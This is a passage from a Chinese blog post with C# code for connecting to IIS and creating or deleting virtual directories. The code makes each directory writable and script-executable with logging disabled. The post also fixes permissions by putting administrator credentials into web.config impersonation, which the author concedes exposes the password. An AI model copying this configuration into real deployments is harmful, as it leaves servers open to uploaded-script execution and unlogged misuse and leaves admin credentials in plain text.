<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">ReturnMessage.Text = iis.CreateVirtualDirectory(VirtualPath.Text.Trim(), PhysicalPath.Text.Trim());</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在本文中，操作</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IIS</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的方法全部写在自定义的类</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IISManger</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中。上面的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">CreateVirtualDirectory()</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">如下：</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">#region CreateVirtualDirectory </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">添加虚拟目录</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>public string CreateVirtualDirectory(string nameDirectory, string realPath)</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>{<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>DirectoryEntry folderRoot = _iisServer.Children.Find("Root", VirDirSchemaName);</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>try</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>DirectoryEntry newVirDir = folderRoot.Children.Add(nameDirectory, VirDirSchemaName);</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN>newVirDir.Properties["Path"].Insert(0, realPath);<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">虚拟目录的绝对路径</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["AccessExecute"][0] = false;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">可执行文件。执行权限下拉菜单中</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["AccessRead"][0] = true;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">读取</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["AccessWrite"][0] = true;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">写入</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;</SPAN>newVirDir.Properties["ContentIndexed"][0] = true;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">资源索引</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["DefaultDoc"][0] = DefaultPage;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">默认页面</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["AppFriendlyName"][0] = "world";<SPAN style="mso-spacerun: yes">&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">友好的显示名称</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["AppIsolated"][0] = 2;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 0 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示应用程序在进程内运行，值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 1 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示进程外，值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 2 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示进程池</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["AccessScript"][0] = true;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">可执行脚本。执行权限下拉菜单中</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes"><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT></SPAN></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["DontLog"][0] = true;</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Invoke("AppCreate", true);</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.CommitChanges();</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>folderRoot.CommitChanges();</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>_iisServer.CommitChanges();</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return "Add success";</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>catch (Exception e)</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return "Sorry!Error when adding the virtual path. Return message is : " + e.Message;</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>}</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">#endregion</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">开始的时候，不管怎么样调试上面的代码，始终报错。在网上查了一下资料，才发现是权限不够。结果我是在组件管理器里面修改，然后又在文件夹修改，改来改去始终没找到关键改哪里，差点累死俺。最后才找到别人曾经做过的方法，在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">web.config</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件里面</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"><SYSTEM.WEB></SYSTEM.WEB></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">下添加一个</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"><IDENTITY username="yourusername" impersonate="true" password="password"></IDENTITY></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，我把里面的信息改成了</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">administrator</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，然后就成功了。也有人说修改</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">machine.config</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">也可以，不过我没试。对于这种修改</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">config</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件的做法，我觉得不是最好的，应该是修改其他某个地方的权限就可以，把密码暴露出来始终不是什么好事，在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">MSDN</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">上也没找到，如果哪位大哥知道，透露一下好了</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">~~~~~~~~~~~~</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"></FONT></SPAN>&nbsp;</P><SPAN lang=EN-US>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">连接</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IIS</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务器的方法如下，操作</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IIS</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">（添加，修改，删除）的时候都需要用到：</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">#region Connect </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">连接</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IIS</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务器</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>public bool Connect()</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>{</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>if (_serverName == null) </FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;</SPAN>return false;</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>try</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>_iisServer = new DirectoryEntry("IIS://" + _serverName + "/W3SVC/1");</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>_target = _serverName;</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>_connection = new ConnectionOptions();</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>_scope = new ManagementScope(@"\\" + _serverName + @"\root\MicrosoftIISV2", _connection);</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>_scope.Connect();</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>catch</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return false;</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return IsConnected();</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>}</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>public bool IsConnected()</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>{</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>if (_target == null || _connection == null || _scope == null) return false;</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return _scope.IsConnected;</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>}</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>#endregion</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"></SPAN>&nbsp;</P><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">关于添加</SPAN><SPAN lang=EN-US>IIS</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">虚拟目录，还可以参考：</SPAN><SPAN lang=EN-US>System.EnterpriseServices.Internal.IISVirtualRoot.Create()</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，</SPAN><SPAN lang=EN-US>System.EnterpriseServices.Internal. Publish.CreateVirtualRoot()</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，</SPAN><SPAN lang=EN-US>System.EnterpriseServices.Internal .SoapServerVRoot.CreateVirtualRootEx</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">删除虚拟目录：</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>#region DeleteVirtualDirectory </SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">删除虚拟目录</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>public string DeleteVirtualDirectory(string nameDirectory)</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>{</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>DirectoryEntry folderRoot = _iisServer.Children.Find("Root", VirDirSchemaName);</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>DirectoryEntry newVirDir;</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>try</SPAN></P>
